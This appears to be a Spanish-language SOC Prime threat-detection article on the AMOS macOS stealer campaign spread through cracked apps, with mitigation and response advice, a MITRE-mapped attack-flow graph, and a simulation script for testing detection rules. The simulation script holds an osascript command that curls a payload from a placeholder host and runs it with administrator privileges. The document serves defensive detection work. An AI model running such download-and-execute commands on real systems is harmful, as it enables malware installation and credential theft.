SOC Prime Bias: Medio

08 May 2026 18:45

AMOS Stealer Apunta a macOS a Través de Aplicaciones “Crackeadas”

Author Photo
SOC Prime Team linkedin icon Seguir
AMOS Stealer Apunta a macOS a Través de Aplicaciones “Crackeadas”
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

El informe describe una campaña que distribuye Atomic macOS Stealer (AMOS) disfrazándolo como aplicaciones crackeadas o instruyendo a los usuarios a ejecutar comandos de terminal mediante copiar y pegar. Una vez ejecutado, el malware recopila un amplio conjunto de datos sensibles, incluyendo credenciales, información del navegador, billeteras de criptomonedas, archivos de aplicaciones de mensajería, perfiles de VPN y documentos personales, luego exfiltra el contenido robado a través de HTTP o HTTPS. Para evitar la detección estática, los operadores rotan dominios y URLs a lo largo de la campaña. La actividad está dirigida a usuarios de macOS, particularmente aquellos que buscan software no oficial o pirateado.

Investigación

Se utilizó telemetría de Trend Vision One para reconstruir toda la cadena de infección, comenzando con descargas de aplicaciones crackeadas desde haxmac.cc, seguido de redirección a través de dominios intermediarios, ejecución de scripts de shell maliciosos, creación de launch daemons para persistencia, preparación de datos en /tmp, compresión en archivos ZIP, y exfiltración a dominios controlados por atacantes que rotan. Los investigadores capturaron las líneas de comando relevantes, rutas de archivo e indicadores de comportamiento asociados con cada etapa del compromiso.

Mitigación

Las organizaciones deben educar a los usuarios sobre los riesgos del software crackeado y los comandos de terminal copiar y pegar, hacer cumplir los controles de Gatekeeper y notarización, y limitar la ejecución innecesaria de scripts en sistemas macOS. Los defensores también deben monitorizar la actividad sospechosa de curl and osascript y bloquear el acceso a dominios IPs maliciosos conocidos. Las detecciones en los endpoints deberían centrarse en la creación no autorizada de launch daemon, colocación oculta de archivos y comportamiento inusual de recopilación o exfiltración de archivos.

Respuesta

Si se detecta actividad de AMOS, se debe aislar el endpoint afectado, terminar los procesos maliciosos, eliminar archivos ocultos como .helper, .agent, y com.finder.helper.plist, y borrar cualquier dato preparado para la exfiltración. Las credenciales comprometidas deben ser revocadas, y se debe realizar un análisis forense en los archivos recuperados. La infraestructura maliciosa identificada debe ser bloqueada, y los contenidos de detección deben ser actualizados para monitorizar los patrones de comando observados.

graph TB %% Definiciones de clases classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Nodos – Acciones (Técnicas) step1_initial_access_file[«<b>Acción</b> – <b>T1204.002 Ejecución del Usuario: Archivo Malicioso</b><br/>La víctima descarga y ejecuta un archivo .dmg troyanizado disfrazado de una aplicación crackeada.»] class step1_initial_access_file action step2_copy_paste[«<b>Acción</b> – <b>T1204.004 Ejecución del Usuario: Copiado y Pegado Malicioso</b><br/>La víctima copia un comando curl desde una página web en Terminal, lo que descarga y ejecuta install.sh.»] class step2_copy_paste action step3_masquerading[«<b>Acción</b> – <b>T1036 Suplantación</b><br/>El malware se presenta como software crackeado legítimo y páginas falsas de instalación.»] class step3_masquerading action step4_curl_proxy[«<b>Acción</b> – <b>T1218 Ejecución Proxy de Binario del Sistema</b><br/>El binario legítimo curl obtiene scripts maliciosos.»] class step4_curl_proxy action step5_osascript_proxy[«<b>Acción</b> – <b>T1216 Ejecución Proxy de Scripts del Sistema</b><br/>osascript ejecuta una carga útil AppleScript para ejecutar código.»] class step5_osascript_proxy action step6_shell_interpreter[«<b>Acción</b> – <b>T1059.004 Intérprete de Comandos y Scripts: Shell Unix</b><br/>Los comandos shell crean directorios, recopilan archivos e invocan curl para la exfiltración.»] class step6_shell_interpreter action step7_sudo_abuse[«<b>Acción</b> – <b>T1548.003 Abuso del Mecanismo de Elevación de Control: Sudo y Caché de Sudo</b><br/>La contraseña capturada se suministra a sudo para escribir un plist de LaunchDaemon con privilegios root.»] class step7_sudo_abuse action step8_persistence[«<b>Acción</b> – <b>T1569 Servicios del Sistema: LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) ejecuta el script malicioso .agent durante el arranque del sistema.»] class step8_persistence action step9_defense_evasion[«<b>Acción</b> – <b>T1127 Ejecución Proxy de Utilidades de Desarrollo Confiables</b><br/>Las utilidades de desarrollo de Apple (osascript) se utilizan para ejecutar la carga útil, evadiendo las defensas.»] class step9_defense_evasion action step10_dga[«<b>Acción</b> – <b>T1568.002 Resolución Dinámica: Algoritmos de Generación de Dominios</b><br/>El atacante rota numerosos dominios .cfd y otros dominios para la entrega de cargas útiles.»] class step10_dga action step11_browser_creds[«<b>Acción</b> – <b>T1555.003 Credenciales desde Almacenes de Contraseñas: Navegadores Web</b><br/>Extracción de datos de inicio de sesión y cookies de Chrome, Firefox y Edge.»] class step11_browser_creds action step12_keychain[«<b>Acción</b> – <b>T1555 Credenciales desde Almacenes de Contraseñas</b><br/>Extracción de elementos del Llavero de macOS.»] class step12_keychain action step13_wallet_keys[«<b>Acción</b> – <b>T1552.004 Claves Privadas</b><br/>Robo de archivos de billeteras de criptomonedas.»] class step13_wallet_keys action step14_session_cookies[«<b>Acción</b> – <b>T1550.004 Cookie de Sesión Web</b><br/>Recopilación de cookies de sesión para reutilización posterior.»] class step14_session_cookies action step15_archive[«<b>Acción</b> – <b>T1560 Archivar Datos Recopilados</b><br/>Los archivos recopilados se comprimen en out.zip.»] class step15_archive action step16_compression[«<b>Acción</b> – <b>T1027.015 Compresión</b><br/>Los datos se comprimen antes de la exfiltración (ofuscación).»] class step16_compression action step17_exfil_https[«<b>Acción</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>El archivo comprimido se carga mediante HTTPS POST a un servidor controlado por el atacante.»] class step17_exfil_https action step18_indirect_curl[«<b>Acción</b> – <b>T1202 Ejecución Indirecta de Comandos</b><br/>El comando curl recupera y ejecuta silenciosamente un script remoto.»] class step18_indirect_curl action %% Nodos – Herramientas tool_curl[«<b>Herramienta</b> – <b>Nombre</b>: curl<br/><b>Descripción</b>: Utilidad de línea de comandos para transferir datos mediante URLs.»] class tool_curl tool tool_osascript[«<b>Herramienta</b> – <b>Nombre</b>: osascript<br/><b>Descripción</b>: Ejecuta scripts AppleScript o JavaScript para Automatización.»] class tool_osascript tool tool_sudo[«<b>Herramienta</b> – <b>Nombre</b>: sudo<br/><b>Descripción</b>: Ejecuta comandos con privilegios elevados.»] class tool_sudo tool tool_launchd[«<b>Herramienta</b> – <b>Nombre</b>: launchd<br/><b>Descripción</b>: Administrador de servicios de macOS para cargar LaunchDaemons y agentes.»] class tool_launchd tool %% Nodos – Archivos y Datos file_dmg[«<b>Archivo</b> – <b>Nombre</b>: trojanized.dmg<br/><b>Tipo</b>: Imagen de disco disfrazada como aplicación crackeada»] class file_dmg file file_install_sh[«<b>Archivo</b> – <b>Nombre</b>: install.sh<br/><b>Tipo</b>: Script shell descargado mediante curl»] class file_install_sh file data_out_zip[«<b>Datos</b> – <b>Nombre</b>: out.zip<br/><b>Contenido</b>: Archivos recopilados listos para la exfiltración»] class data_out_zip data %% Conexiones de Flujo step1_initial_access_file –>|descarga y ejecuta| file_dmg file_dmg –>|activa| step1_initial_access_file step1_initial_access_file –>|conduce a| step2_copy_paste step2_copy_paste –>|usa| tool_curl tool_curl –>|descarga| file_install_sh file_install_sh –>|ejecuta| step2_copy_paste step2_copy_paste –>|conduce a| step3_masquerading step3_masquerading –>|habilita| step4_curl_proxy step4_curl_proxy –>|usa| tool_curl tool_curl –>|obtiene| step5_osascript_proxy step5_osascript_proxy –>|usa| tool_osascript tool_osascript –>|ejecuta| step6_shell_interpreter step6_shell_interpreter –>|invoca| step7_sudo_abuse step7_sudo_abuse –>|usa| tool_sudo tool_sudo –>|escribe| step8_persistence step8_persistence –>|gestionado por| tool_launchd tool_launchd –>|ejecuta| step9_defense_evasion step9_defense_evasion –>|facilita| step10_dga step10_dga –>|proporciona| step11_browser_creds step10_dga –>|proporciona| step12_keychain step10_dga –>|proporciona| step13_wallet_keys step10_dga –>|proporciona| step14_session_cookies step11_browser_creds –>|recopilado en| step15_archive step12_keychain –>|recopilado en| step15_archive step13_wallet_keys –>|recopilado en| step15_archive step14_session_cookies –>|recopilado en| step15_archive step15_archive –>|produce| data_out_zip data_out_zip –>|comprimido por| step16_compression step16_compression –>|enviado mediante| step17_exfil_https step17_exfil_https –>|usa| tool_curl tool_curl –>|realiza| step18_indirect_curl step18_indirect_curl –>|completa| step1_initial_access_file %% Estilo class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: La Verificación de Telemetría y Línea Base Pre-vuelo debe haber sido aprobada.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narración DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a diagnósticos erróneos.

  • Narrativa de Ataque y Comandos:
    Un adversario ha obtenido un señuelo de phishing que entrega una carga útil de AppleScript corta. El script usa osascript para ejecutar un comando de shell (sh -c) que invoca curl para descargar el binario del AMOS stealer desde un servidor C2 malicioso, lo guarda en el ~/Library/Application Support/ del usuario, y luego lo ejecuta con permisos elevados. El uso de osascript (un binario firmado por Apple) enmascara la actividad como una automatización legítima, mientras que curl proporciona una descarga de red sigilosa.

  • Script de Prueba de Regresión:

    # amos_stealer_simulation.sh
    # Simula la ejecución del AMOS stealer en macOS usando osascript + curl
    
    # 1. Definir URL malicioso (usar un marcador de posición inofensivo por seguridad)
    MALICIOUS_URL="https://example.com/malicious_payload.sh"
    
    # 2. Script de Apple que ejecuta un comando de shell para descargar y ejecutar la carga útil
    APPLESCRIPT=$(cat <<'EOF'
    do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges
    EOF
    )
    
    # 3. Ejecutar el AppleScript a través de osascript
    echo "$APPLESCRIPT" | osascript
    
    # 4. Pausar brevemente para permitir que la carga útil se ejecute
    sleep 5
  • Comandos de Limpieza:

    # cleanup_amos_simulation.sh
    # Remover los artefactos creados por la simulación
    
    # Eliminar la carga útil descargada
    rm -f /tmp/payload.sh
    
    # Revocar cualquier proceso elevado temporal (si todavía está corriendo)
    pkill -f "/tmp/payload.sh" || true
    
    # Opcionalmente, borrar el historial de ejecución del AppleScript
    # (macOS no retiene un historial persistente para osascript)
    echo "Limpieza completa."